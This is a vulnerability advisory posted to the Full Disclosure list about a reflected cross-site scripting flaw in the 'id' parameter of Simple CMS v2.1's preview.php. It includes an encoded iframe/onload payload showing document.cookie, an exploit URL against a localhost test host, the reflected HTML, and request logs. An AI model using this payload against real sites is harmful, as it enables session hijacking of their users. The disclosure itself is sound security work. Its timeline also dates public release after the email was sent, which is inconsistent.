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[FD] Simplephpscripts Simple CMS v2.1 - XSS Web Vulnerability
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] Simplephpscripts Simple CMS v2.1 - XSS Web Vulnerability
- From: "info@xxxxxxxxxxxxxxxxxxxxx" <info@xxxxxxxxxxxxxxxxxxxxx>
- Date: Tue, 26 Oct 2021 09:03:34 +0200
Document Title:
===============
Simplephpscripts Simple CMS v2.1 - XSS Web Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2301
Release Date:
=============
2021-10-18
Vulnerability Laboratory ID (VL-ID):
====================================
2301
Common Vulnerability Scoring System:
====================================
5.1
Vulnerability Class:
====================
Cross Site Scripting - Non Persistent
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
The system could be used only in already existing websites to control their
page sections and contents.
Just paste a single line of code on your web page section and start controlling
it through the admin area.
Very simple installation - one step installation wizard. Option to include
contents into web page sections
through php include, javascript or iframe embed. Any language support.
WYSIWYG(text) editor to styling and
format contents of the sections. Suitable for web designers who work with
Mobirise, Xara and other web builders.
(Copy of the Homepage: https://simplephpscripts.com/simple-cms-php )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a non-persistent
cross site scripting vulnerability in the Simplephpscripts Simple CMS v2.1
web-application.
Affected Product(s):
====================
Simplephpscripts
Product: Simple CMS v2.1 - Content Management System (Web-Application)
Vulnerability Disclosure Timeline:
==================================
2021-09-03: Researcher Notification & Coordination (Security Researcher)
2021-09-04: Vendor Notification (Security Department)
2021-10-01: Vendor Response/Feedback (Security Department)
2021-10-02: Vendor Fix/Patch (Service Developer Team)
2021-10-10: Security Acknowledgements (Security Department)
2021-11-18: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Pre Auth (No Privileges or Session)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Responsible Disclosure
Technical Details & Description:
================================
A non-persistent cross site scripting vulnerability has been discovered in the
official Simplephpscripts Simple CMS v2.1 web-application.
The vulnerability allows remote attackers to inject own malicious script codes
with non-persistent attack vector to compromise browser to
web-application requests by the client-side.
The cross site scripting vulnerability is located in the `id` parameter of the
preview.php file. The request method to inject the malicious
script code is GET and the attack vector of the vulnerability is
non-persistent. The execution of the script code occurs in the undefined
exception-handling output message.
Successful exploitation of the vulnerability results in session hijacking,
non-persistent phishing attacks, non-persistent external redirects
to malicious source and non-persistent manipulation of affected application
modules.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] Preview (Pages)
Vulnerable File(s):
[+] preview.php
Vulnerable Parameter(s):
[+] id
Affected Module(s):
[+] Undefined Exception-Handling (Preview)
Proof of Concept (PoC):
=======================
The non-persistent web vulnerability can be exploited by remote attackers
without user account with low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
PoC: Payload
-1%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E
PoC: Exploitation
https://simple-cms.localhost:8000/simplecms/preview.php?id=-1%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E
Vulnerable Source: preview.php (Exception-Handling)
<html>
<head>
<meta charset="utf-8">
<title>Simple CMS page -1>"<iframe src=evil.source
onload=alert(document.cookie)></title>
</head>
<body style="margin:0; padding:0;">
<script
src="https://simple-cms.localhost:8000/simplecms/lightbox/js/jquery-1.11.0.min.js";></script>
<script
src="https://simple-cms.localhost:8000/simplecms/lightbox/js/lightbox.min.js";></script>
<link href="https://simple-cms.localhost:8000/simplecms/lightbox/css/lightbox.css";
rel="stylesheet" />
No page content with id -1>"<iframe src=evil.source
onload=alert(document.cookie)>
<style type="text/css">
<!--
body {
background-color: <br />
<b>Notice</b>: Undefined variable: OptionsVis in
<b>/home/test/public_html/simplephpscripts/test/simplecms/preview.php</b> on line <b>40</b><br
/>
;
}
-->
</style>
--- PoC Session Logs (GET) ---
https://simple-cms.localhost:8000/simplecms/preview.php?id=-1>"<iframe
src=evil.source onload=alert(document.cookie)>
Host: simple-cms.localhost:8000
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Cookie: PHPSESSID=2emae9mm1m1misttrp1a3e1p21
-
GET: HTTP/2.0 200 OK
server: Apache
content-length: 1658
content-type: text/html; charset=UTF-8
-
https://simple-cms.localhost:8000/simplecms/evil.source
Host: simple-cms.localhost:8000
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Referer:
https://simple-cms.localhost:8000/simplecms/preview.php?id=-1%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E
Cookie: PHPSESSID=2emae9mm1m1misttrp1a3e1p21
-
GET: HTTP/2.0 200 OK
server: Apache
content-length: 196
content-type: text/html; charset=iso-8859-1
Reference(s):
https://simple-cms.localhost:8000/simplecms/
https://simple-cms.localhost:8000/simplecms/preview.php
https://simple-cms.localhost:8000/simplecms/preview.php?id=
Credits & Authors:
==================
Vulnerability-Lab [Research Team] -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Disclaimer & Information:
=========================
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